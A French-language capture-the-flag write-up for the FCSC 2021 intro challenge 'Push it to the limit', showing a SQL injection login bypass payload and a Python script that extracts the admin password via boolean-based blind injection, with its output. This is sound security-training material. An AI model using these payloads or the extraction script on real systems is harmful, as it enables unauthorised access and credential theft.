FCSC 2021 - Intro - Push it to the limit
Exploitez une injection SQL afin de vous connecter sur l’application web.
http://challenges2.france-cybersecurity-challenge.fr:5000/
Résolution
Cette application Web comporte une page de login exposée :
On remarque que lorsque l’on entre des caractères spéciaux (tels que des double quotes "
) l’application plante et nous indique Erreur : near "password": syntax error
:
Nous pouvons donc réaliser une injection SQL simple, et rajouter -- -
à la fin pour commenter tout le reste de la requête SQL et éviter ainsi les syntax error
.
Username : admin" and password like "%" -- -
Password : whatever
L’injection SQL fonctionne et nous obtenons le flag :
FCSC{5012fb37d7886deaa5c4e209cf683286}
Pour aller plus loin
Comme nous avons ici une injection SQL avec retour booléen (boolean-based SQLI), nous pouvons aller plus loin et récupérer le mot de passe de l’administrateur, caractère par caractère. Pour cela, nous devons d’abord trouver la longeur du mot de passe, puis bruteforcer tous les caractères à chaque position donnée dans le mot de passe
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import string
def find_password_length():
passlen = 0
searching = True
while searching == True:
passlen += 1
print('\r[>] Trying password length %d' % passlen, end="")
r = requests.post(
"http://challenges2.france-cybersecurity-challenge.fr:5000/",
data = {
"username" : 'admin" and LENGTH(password) = %d -- -' % passlen,
"password" : "",
"submit" : "",
}
)
if b'Identifiants incorrect' not in r.content:
searching = False
print('\r[+] Found password length %d !' % passlen)
return passlen
def find_next_password_char(startpass, passlen):
for letter in string.printable[:-5]:
print('\r[>] Trying password : %s%s' % (startpass, letter), end="")
r = requests.post(
"http://challenges2.france-cybersecurity-challenge.fr:5000/",
data = {
"username" : 'admin" and password like \'%s%s%%\' -- -' % (startpass, letter),
"password" : "",
"submit" : "",
}
)
if b'Identifiants incorrect' not in r.content:
print('\r[+] Found password letter at index %02d : %s ! ' % (len(startpass), letter))
return letter
password_length = find_password_length()
password = ""
for k in range(password_length):
password += find_next_password_char(password, password_length)
print("[+] Found password %s" % password)
Nous lançons le script, et nous obtenons le mot de passe de l’administrateur:
$ ./solve.py
[+] Found password length 16 !
[+] Found password letter at index 0 : g !
[+] Found password letter at index 1 : j !
[+] Found password letter at index 2 : f !
[+] Found password letter at index 3 : 8 !
[+] Found password letter at index 4 : b !
[+] Found password letter at index 5 : q !
[+] Found password letter at index 6 : 4 !
[+] Found password letter at index 7 : q !
[+] Found password letter at index 8 : 5 !
[+] Found password letter at index 9 : 7 !
[+] Found password letter at index 10 : 7 !
[+] Found password letter at index 11 : b !
[+] Found password letter at index 12 : q !
[+] Found password letter at index 13 : f !
[+] Found password letter at index 14 : 4 !
[+] Found password letter at index 15 : c !
[+] Found password gjf8bq4q577bqf4c